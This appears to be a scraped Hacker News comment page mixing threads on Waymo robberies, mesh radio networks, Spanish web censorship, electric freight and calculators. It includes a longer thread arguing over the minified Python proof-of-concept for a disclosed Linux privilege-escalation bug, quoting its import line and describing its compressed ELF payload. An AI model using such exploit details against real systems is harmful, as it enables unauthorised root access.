So you're implying that someone in a locked Waymo was assaulted at gunpoint from outside the vehicle? These are rolling surveillance machines (in a good way?) and virtually every aspect of this would be caught on probably a dozen cameras. I'd be surprised if this hypothetical scenario has ever happened, and if it has, I'd love to see the evidence.
I think people vastly overestimate the extent to which would be criminals think ahead to the likelihood of being caught and the severity of the punishment.
You're laying on enough qualifiers that even a recent robbery of a Waymo is precluded, because (if we really want to victim blame) their window was down which is asking for it.
But overall, not sure why the tone of these replies: then Venn diagram of "wants to rob people" and "cares Google's AV will record it" doesn't include as much overlap as you're implying.
A Waymo has even been used as a getaway vehicle a few times now, once even successfully
IMHO this article misses a couple really important points.
First, if the mesh can use Internet or other transports then it will, and it will be built out in a way where these become a necessity. If all you want is a silly new way to text your friends, then something like reticulum will be ok. But if you want a serious solution for emergency response and free communication -- free as in "no one can stop me or control what is said no matter what" then building something independent from scratch is critically important.
Second, the author also misses an important piece of functionality of meshcore: If I lose power, the mesh still works.
This is hugely important for emergency preparedness and disaster recovery. Especially in places prone to any form of natural disaster.
It's certainly the early days, and it's clear that there's a long way to go, but I really feel that these fully decentralized solar powered networks are hugely important as a simple alternative to the corporate behemoth the internet has become.
The meshcore software, and the common hardware being used, are both comically weak for anything that approaches usage at scale, especially in an emergency situation.
The range is extremely limited, and the throughput gets really bad if your packets have to travel more than a few hops. These two factors alone combine to write this off as nothing more than a toy pretty much from the start.
There are already unlicensed radios with longer range that would be a better starting point if people were trying to position mesh* as a scalable and reliable transport of any kind.
>Second, the author also misses an important piece of functionality of meshcore: If I lose power, the mesh still works.
This point isn't unique to meshcore, and it is not a guarantee. Any solar powered and battery-backed device can function without utility power (in theory). Meshcore nodes are not solar powered by default, and the same solar power concept can be utilized for any other kind of radio transceiver/protocol.
This has been said about every interchange technology, ever. Doesn’t matter, still EOF’ed.
>trying to position mesh* as a scalable and reliable transport of any kind.
.. well, scale is a matter of one thing: location, location, location ...
>range
.. is an end-user value decision, as in, you might think its too slow for your browsing needs, but there are a thousand applications that will use the bandwidth offered to the average user, at the average users own personal speed, according to the needs of the average user.
Just like in the good ol’ days of soggy noodle internetworking, the current zeitgeist apropos mesh-based local low-power radio technology, is entirely ruled by the user.
Case in point: some friends and I have deployed our own small Meshtastic network, and we use it exclusively to organize our social network. This particular use case isn’t particularly ‘easily’ exploitable by third parties, since we have some modicum of encryption - but it certainly supports our need here and now in a big city - but, more importantly some of us will take the little lovely boxes with them when they go sailing next week, and our range will be significantly extended for the purpose …
>Meshcore nodes are not solar powered by default, and the same solar power concept can be utilized for any other kind of radio transceiver/protocol.
If you need solar, build a meshcore node with solar.
Nay-saying like this is as old as the hills, there’s nothing special about it, everyone does it…
Huge +1 here! Work out scenario planning of Meshtastic/Meshcore with one of the GPT's and they top out at like ~100k users and like 10msg/sec or something ludicrously low.
At something like $100/node and 5000 nodes in a major metro (eg: Dallas) it's like a $500k investment and you're maxed out at low data rates and saturated topology.
That's 5k nodes in a (generous) 5 million population and ~500 square mile area. More like 9M people and 9000 square miles. (I checked, and that's "extended metroplex", but reasonable: Decatur to Cleburne, Weatherford to Kaufman).
At 5k nodes saturating an area, it's basically a rich persons toy very well suitable to remote or low-density areas, but NEVER for 1:1 saturation deployment in any sort of high density area.
> but I really feel that these fully decentralized solar powered networks are hugely important as a simple alternative to the corporate behemoth the internet has become.
Is the internet that? People have built corporate behemoths on top of it, in world wide web-land, but the internet itself seems relatively neutral.
A swarm of millions of devices (that can be solar powered) could be more resilient than the "few" nodes that the "internet" architecture has. I guess that is the motivation, in theory.
Internet is not neutral, and hasn't been for too long, many providers offering free Whatsapp or cases like LaLiga.
> Internet is not neutral, and hasn't been for too long, many providers offering free Whatsapp or cases like LaLiga.
Not sure why people are so hyper-focused on the La Liga case in Spain, Spain done so much worse censorship, even political one, yet no one seemingly bats an eye. But some IPs getting blocks because Cloudflare doesn't follow Spanish law? Suddenly half of HN cares about it, it makes no sense...
How about when a Women's rights website started being blocked in Spain? (https://digitalfreedomfund.org/case-studies/womens-rights-we...) How about the Gag Law that existed since 2015, limiting public demonstrations? How about when the central government prevented an "autonomous" region from even thinking about having a referendum? How about the laws against "insulting" the crown?
Today, in 2026, as a Spanish resident, I still can't access https://www.womenonweb.org/. Why? Who knows anymore. Fucking money + religion owns our digital spaces now, been for a long time, no one seemingly noticed.
There has been so much censorship here, so much more important censorship than some random piracy stream websites going offline, yet not a single person here seems to remember those more important cases, just as long as a US company involved, then suddenly it's important and worth referencing.
Freedom on the world wide web and the public internet been kind of hanging by a thread for multiple decades at this point, and I'm also on the side of "We need new physical infrastructure if we're gonna have a chance".
Meshtastic, Guifi, Freifunk, NYCMesh and more are wonderful efforts that hopefully at one point can group together, we all have more or less the same ideas and same goals, right now it's all separate networks though.
> Today, in 2026, as a Spanish resident, I still can't access https://www.womenonweb.org/. Why? Who knows anymore. Fucking money + religion owns our digital spaces now, been for a long time, no one seemingly noticed.
I didn't know about this, so I looked it up: it's because they sell prescription-only abortion medication and ship directly to consumers, where it's legally only available via prescription and medical oversight. Fundamentally they're blocked for ignoring medical regulations. There were some appeals, but the argument is that access to abortion medication is already a well-protected right, so that this is dangerous and unnecessary, and it's not possible to block that while unblocking the rest of their educational resources.
Such a bullshit reason though, the real reason is that the church don't like women deciding over their own bodies, and the church wields real political power in Spain.
Using a VPN, and trying to use that website to "order abortion pills" today to Spain shows this error:
> You live in a country where there is access to safe abortion services. We don't provide services in your country and we therefore are unable to assist you.
You haven't been able to get abortion pills from them for years, yet the same reason for the block remains, even if that's not actually true in practice.
The block is being escalated to UN though, so it's still an ongoing issue, not like nothing is happening, just frustrating to see people complaining about minor censorship when there is so much more important censorship happening all the time.
Possibly, or more infrastructure is needed to support the growing demand for renewables, and the equipment is often trucked around using standard freight (large trucks or airplanes), concrete trucks to pour slabs, etc.
Electric trucks are rapidly becoming a thing. And even if not, more trucks delivering equipment for renewables get balanced out by more EVs.
Not to mention natural gas and oil will always need to be shipped around. Whereas when you have enough renewables and a grid that can supply enough electricity, shipping panels and batteries drops by a lot.
Yes, and I look forward to when electric freight is a thing, but I do think it's an overstatement to say they are "rapidly becoming a thing". Articles about electric trucks among the HN crowd make it feel that way, but those are tests that don't really reflect what's happening in the market. (Most of the available data puts the overall percentage of freight moved by renewables at less than 0.1%). I suspect we're 10-20 years away from a time when a majority of DC chargers, solar panels, or wind turbines are transported using something other than gasoline or diesel.
Don't get me wrong, I'm quite dogmatic about renewables (we have 2 EVs, pay more for various renewable options, aggressively recycle, avoid single-use plastics, etc). I'm just pragmatic in my outlook.
I don't know either what they meant, but for comparison NumWorks calculators are clocked at 216 MHz (100 MHz for the older models, and 550 MHz for some of the latest ones, but not everywhere), so it doesn't look that much out of the ordinary, maybe a little underpowered from my experience with the first NumWorks but eh idk it's a calculator and unlike the first NumWorks they don't try to do CAS.
I'm not an expert in this department but I wonder if battery life is a factor here. My Ti-84+ has not fully died once since I was in middle school (as a college graduate now). It can survive an entire year out of use and would still have a usable charge when I would pick it back up for a new math class.
Thanks for clarifying. I think this is an ARM and a break from a history of Z80 and Z80 adjacent CPUs. I do get the impression TI have done a good (financial) job milking these products whilst under investing in real product innovation.
The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a real failure modality.
Looking at their source code [1] it starts with this simple line:
import os as g,zlib,socket as s
And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
Anyway, I could go on. :) Let's just stop fetishizing byte count
Hilariously, "os as g" adds one more byte than it saves, since os is only used 4 times but the alias takes 5 extra bytes to save 4. And "socket as s" comes out even.
If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.
We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.
I don't get the 732-byte thing either and while I think it's a relatively punchy and unusually informative landing page for named vulnerability there are little snags like this all over it.
But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.
yeah... definitely a bit of a rush to get the landing page out after a long time in the disclosure process. The folks putting this all together have been working like mad (finding the bug, disclosing, working a lot on patching, writing up POCs and verifying exploitability in different scenarios) and stayed up really late to finish up the landing page, which led to a lot of minor issues.
But the bug is real and people should patch :)
For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")
I don't see it as fetishizing byte count. I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. They could just as well have said "we can do it in 3 lines of python" or "the Shannon entropy of the script implementing the exploit is really small" and I would have interpreted it similarly.
Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.
> I think of it as a proxy measure for how complicated or uncomplicated the exploit might be.
From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.
And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.
Again, I think the point is that compressed size is a reasonable measure of the inherent complexity of a program. I'm a crap mathematician, but I believe that is a fundamental concept in information theory.
If you have a choice between posting minimized exploit code, and posting regular exploit code, posting minimized code is virtually always the wrong choice.
If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.
In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.
How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).
It would have been less work for everyone involved to just release the unminified source.
While not formally reviewing code like this, I read a lot of it for fun. When it's clear and understandable, it's more educational and enjoyable. If the PoC code can also serve as a means of communication, that seems like an extra win.
I started to take the exploit script apart and reformat it to be something readable. At about 1041 bytes it's actually readable. The heart of it also includes an encoded zlib compressed blob that's 180 bytes long ('78daab77...'). This is decompressed (zlib.decompress(d(BLOB)) to a 160 byte ELF header.
While I agree that it doesn't make much sense to use a minimizer on code the reader could understand, the code-golfed byte count of a CVE repro communicates its complexity in a certain visceral way.
You're supposed to add "as a senior engineer" so we know you're 3 years out of bootcamp and can program in 1.25 languages. Or "as a staff..." if you've given an interview, know what 'make' is ("it's a command!") and are willing to do absolutely anything for the CTO.
Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?
>As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
lucky for them, its an exploit script, not enterprise code.
all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.
edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming
It's just sloppy. Readers are human, and little mistakes like this take away from the article. Then you add a nonexistent RHEL version, and it just isn't a good look. Which is a shame, because it's otherwise a very interesting vuln.
Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.
i just dont understand huffing and puffing over "os as g" in a 10-line poc script, and saying "well i would never approve this". its not enterprise code. its not code that will ever be used anywhere else, for anything. its sole purpose is to prove that the exploit is real, which it does!
the rest of the information is in the actual vulnerability report. the poc is a courtesy to the reportee, so that they can confirm that the report itself isnt bullshit.
evidently, given the downvotes i am getting, people think exploit scripts should be enterprise quality code. ¯\_(ツ)_/¯ half of the reports i see flowing through mailing lists dont even have a poc.
amazingly HN-like to be upset about a variable name
>Disagree because to run the PoC you really ought to understand what it’s doing.
that is contained in the report, which will look similar to the blog. the maintainers will have an open line of contact with the reporters as well. the poc is a small part of the entire report. its not like the linux maintainers only received this poc and have to work out the vulnerability from it alone.
>It is failing at letting people confirm the exploit easily.
it confirms the exploit incredibly easy. just run it, and you get confirmation.
go ahead and explain your point, rather than be cryptic, if you you want to have an actual conversation about it.
you said "I need to know what the code does before I run it.".
you know its an LPE. the mechanisms of the exploit are fully explained. what more do you need to know? please imagine yourself in the position of the kernel security team who would have received this poc in the first place when you answer, because that is the intended context of the poc.
if you think the kernel security team is going to get tripped up over "os as g", you have a crazy low view of the team.
I don't anyone is saying it's not "enterprise" it's just that they clearly went out of their way to make it less readable. By all means advertise the golf'd line count but just have the non minified script.
Nordic Semi, or maybe ST Micro. I've got an STM32WB on my bench at the moment with sensitive coulomb counting and it looks very promising but without all those radios. Of course with all those radios (ie, if you need LoRa on a watch... which is a design decision I'm also skeptical of) then Nordic has a good track record.
Different use case (environmental data recorder) but our current product uses an STM that turns on an ESP32 (not trusting that sleep mode) when it needs radio, to run on 2 AAs forever.
reply